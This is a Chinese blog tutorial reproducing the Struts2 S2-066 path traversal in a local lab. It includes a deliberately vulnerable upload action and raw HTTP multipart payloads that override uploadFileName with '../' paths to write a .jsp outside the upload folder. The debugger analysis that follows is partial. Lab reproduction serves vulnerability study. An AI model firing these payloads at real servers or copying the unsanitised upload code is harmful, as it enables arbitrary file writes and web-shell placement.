首页 > 其他分享 >struts2-66漏洞复现

struts2-66漏洞复现

时间:2024-02-27 12:02:11浏览次数:23  
标签:uploadFileName String upload Content xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN st

Strut2-66漏洞从搭建到复现到原理

0x0 创建JavaEE环境

使用idea创建JavaEE项目,添加Strut2的依赖

点击右上角创建新项目

image-20231222213027514

下一步,依赖项只选择一个Servlet就行了,版本JavaEE8

image-20231222213142246

然后完成打开即可,为了方便把根目录调整一下

点击右上角的tomcat编辑配置

image-20231222213500606

默认的话是这样的

image-20231222213657429

如果警告没有部署标记工件,点击修正选择第二个strut266:war explode就可以

image-20231222214010273

修改一下这些地方,注意端口不要冲突

image-20231222213746905

image-20231222213829209

点击右上角运行,等tomcat启动后会自动打开网站,或者自己去请求,注意是http不是https,有的你输入

http://localhost:9999/会自动转成https://localhost:9999/ 注意!不行就换一个浏览器或百度上有解决办法。

image-20231222214308196

0x01搭建漏洞环境

到这里没有毛病已经完成了第一步,第二步配置strut2依赖和上传代码

添加struts2拥有漏洞的漏洞版本

受影响版本

  • 2.5.0 <= Apache Struts <= 2.5.32
  • 6.0.0 <= Apache Struts <= 6.3.0

不受影响版本

  • Apache Struts >= 2.5.33
  • Apache Struts >= 6.3.0.2

这里用6.3.0来复现:

在pom.xml里添加strut2 6.3.0,然后加载Maven即可

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>6.3.0</version>
</dependency>

image-20231222214817115

如果提示Could not find artifact org.apache......

可以试一下清理后重新编译

image-20231222215303929

完成后,创建一个UploadAction

image-20231222215509008

代码为:

package com.example.strut266;

import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;

import java.io.*;

public class UploadAction extends ActionSupport {

    private static final long serialVersionUID = 1L;


    private File upload;

    // 文件类型,为name属性值 + ContentType
    private String uploadContentType;

    // 文件名称,为name属性值 + FileName
    private String uploadFileName;

    public File getUpload() {
        return upload;
    }

    public void setUpload(File upload) {
        this.upload = upload;
    }

    public String getUploadContentType() {
        return uploadContentType;
    }

    public void setUploadContentType(String uploadContentType) {
        this.uploadContentType = uploadContentType;
    }

    public String getUploadFileName() {
        return uploadFileName;
    }

    public void setUploadFileName(String uploadFileName) {
        this.uploadFileName = uploadFileName;
    }

    public String doUpload() {
        String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
        String realPath = path + File.separator +uploadFileName;
        try {
            FileUtils.copyFile(upload, new File(realPath));
        } catch (Exception e) {
            e.printStackTrace();
        }
        return SUCCESS;
    }

}

在resources目录下创建struts.xml,注意修改class指定成自己的类的路径

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="upload" extends="struts-default">
        <action name="upload" class="com.example.strut266.UploadAction" method="doUpload">
            <result name="success" type="">/index.jsp</result>
        </action>
    </package>
</struts>

image-20231222220820147

在web.xml当中配置好filter

<filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>*.action</url-pattern>
</filter-mapping>

image-20231222221036079

以上漏洞环境搭建完成,搭建完成之后点击右上方运行即可。

0x02漏洞复现

payload:

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 237
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

image-20231222221750921

上传成功后可以在target\strut266-1.0-SNAPSHOT\upload目录下看到上传的文件

image-20231222221914442

路径穿越payload1:

POST /upload.action HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 399
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName"; 
Content-Type: text/plain

../123.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

上传成功后可以在target\strut266-1.0-SNAPSHOT\目录下看到上传的文件穿越了上层目录

image-20231222222550454

image-20231222222317510

路径穿越payload2:

POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: localhost:9999
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 234
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

123
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

image-20231222222518755

image-20231222222614152

image-20231222222953609

0x03漏洞原理

先看一下UploadAction代码

定义的对应值:

image-20231222223933716

剩下的一些是在框架已经帮我们填充好的,所以我们在执行方法的时候可以直接拿到这些值

image-20231222224154649

首先我们要理清楚

1、我们从payload中可以看到本该是我们上传的文件名参数,被我们另一个请求的参数所污染并覆盖了

2、所以我们要分析污染的过程,为是什么会被污染?

3、文件上传的过程主要涉及到两个重要参数,以我的环境命名为例upload以及uploadFileName

先在doUpload方法处打上断点,并进行上传请求去触发

可以看到,该请求经过了很多的调用,这里总体可以分为三列,第一列是方法、第二列是类名、第三列是类名对应的包名,我们主要看中间的类名

image-20231222230223573

可以看到调用该方法之前,通过了很多拦截器,我们的操作是文件上传,肯定跟文件上传拦截器相关

image-20231222230649023

点击查看该拦截器,里面有很多的方法,我们点开他继承了抽象拦截器类AbstractInterceptor

image-20231222230841552

看到抽象类下面有一个抽象方法,他既然继承了这个抽象拦截器,那么他就回去实现这个方法

image-20231222231114336

我们在该处打个断点

image-20231222231442960

再次调试,看到他停在了第一行代码,ActionContext ac = invocation.getInvocationContext();image-20231222231622138

我们往下执行,看他存在什么东西,这里面有我们请求的session 还有文件名参数等信息

image-20231225142817171

再往下看,看到获取了contentType和inputName

image-20231225143043694

继续跟进filename,可以看到正常情况下他会把上传的../1.txt编程1.txt,目录穿越就被阻止了

image-20231225145110299

返回原先的代码可以看到fileName被设定为1.txt,这里是没有什么问题的,下面他又整了个操作

image-20231225145236498

可以看到下面他会判断如果文件列表不为空就再创建几个列表

image-20231225145756783

......

标签:uploadFileName,String,upload,Content,xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN,st
From: https://www.cnblogs.com/mt0u/p/18036584

相关文章

  • P4666 [BalticOI 2011 Day1] Growing Trees题解(平衡树思想)
    自己第一道不看题解写出来的紫题,庆祝一下(没初始化种子导致调了30min)这是一个fhq-treap的题解思路来源:首先看题目,因为是序列上的问题,不难想到是一道数据结构题。首先看到操作C:对于这种操作,我们可以用平衡树解决,具体方法是,将树split成\(<min,min\lex\lemax,>max\)这......
  • Ncast盈可视高清智能录播系统RCE漏洞(CVE-2024-0305)复现
    0x00漏洞简介Ncast盈可视高清智能录播系统是广东盈科电子公司的一款产品。该系统2017及之前版本/classes/common/busiFacade.php接口存在RCE漏洞。0x01资产测绘:zoomeye-query:title:"高清智能录播系统"fofa-query:app="Ncast-产品"&&title=="高清智能录播系统"0x02漏......
  • P8668 [蓝桥杯 2018 省 B] 螺旋折线
    以第四象限的形如(x,-x)的点(它的距离最好算)为基准,来推附近的点的距离。不用怕坐标轴上的点的从属划分问题,例如在A区域和B区域交线上的点,那么它就应该是既满足A区域算法,又满足B区域算法的。#include<bits/stdc++.h>usingnamespacestd;longlongx,y,n,d;intmain(){......
  • Windows ® Installer. V 5.0.20348.1668 (msiexec命令 参数
    Windows®Installer.V5.0.20348.1668msiexec/Option<RequiredParameter>[OptionalParameter]安装选项 </package|/i><Product.msi> 安装或配置产品 /a<Product.msi> 管理安装-在网络上安装产品 /j<u|m><Product.msi>[/t<TransformList>......
  • P6646 [CCO2020] Shopping Plans 题解
    好好玩的题。思路对于前\(K\)小方案问题。我们可以考虑当前方案对下一个方案的转移。重点在于转移的最优化与不重不漏。只有一种种类假设没有\(l,r\)的限制怎么做。我们不妨把所有价格排序。发现一种状态转移到另一种状态,无异与将其中已选择的一个物品不选,选择他后面......
  • P6466 分散层叠算法(Fractional Cascading) 题解
    题目链接:分散层叠算法比较妙的东西,在很多涉及到若干个有序块的\(kth\)查询的ynoi题中都有妙用。这里简单提提。两种暴力解法在其他文章已有涉及,在此不再赘述。讲讲具有该怎么写这个算法,首先我们需要预处理出新的\(k\)个序列,不妨记每个为\(M_i\)。\(M_{n}=L_n\),其中\(L\)......
  • Jenkins CLI 任意文件读取漏洞(CVE-2024-23897)复现
    0x00漏洞简介Jenkins是一款基于JAVA开发的开源自动化服务器。Jenkins使用args4j来解析命令行输入,并支持通过HTTP、WebSocket等协议远程传入命令行参数。在args4j中,用户可以通过@字符来加载任意文件。这一特性存在安全风险,攻击者可以利用它来读取服务器上的任意文件。0x01影响......
  • OM6650AM一款低功耗车规级蓝牙5.1 SoC芯片
    OM6650AM是一款超低功耗、同时支持蓝牙5.1协议栈与2.4GHz私有协议的双模无线连接SoC芯片,采用4.0mmx4.0mmQFN32封装,具有丰富的资源,极低的功耗,优异的射频性能,可广泛应用于车载数字钥匙模组、胎压检测、PKE钥匙等场景。1.特性蓝牙规范完整特性支持数据速率:1Mbps、2Mbps、L......
  • 洛谷 P6610 [Code+#7] 同余方程
    题目描述给出若干组正整数\(p\)和\(x\),求方程\(a^2+b^2\equivx\pmodp\)关于\(a\)和\(b\)在模\(p\)意义下解的组数,其中\(p\)是奇数,且不包含平方因子题解来整一个更注重于观察结构而不是计算的题解(首先使用CRT将问题转化为模奇质数的结果相乘是显然的......
  • 又一例:ORA-600 kclchkblk_4和2662故障---惜分飞
    又一例:ORA-600kclchkblk_4和2662故障发表于 2024年2月21日 由 惜分飞联系:手机/微信(+8617813235971)QQ(107644445)标题:又一例:ORA-600kclchkblk_4和2662故障作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]有客户恢......